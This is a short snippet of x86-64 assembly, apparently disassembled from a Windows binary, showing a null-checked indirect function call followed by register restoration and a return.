test rax, rax
je 0x1400140d7
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x1400140d9
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret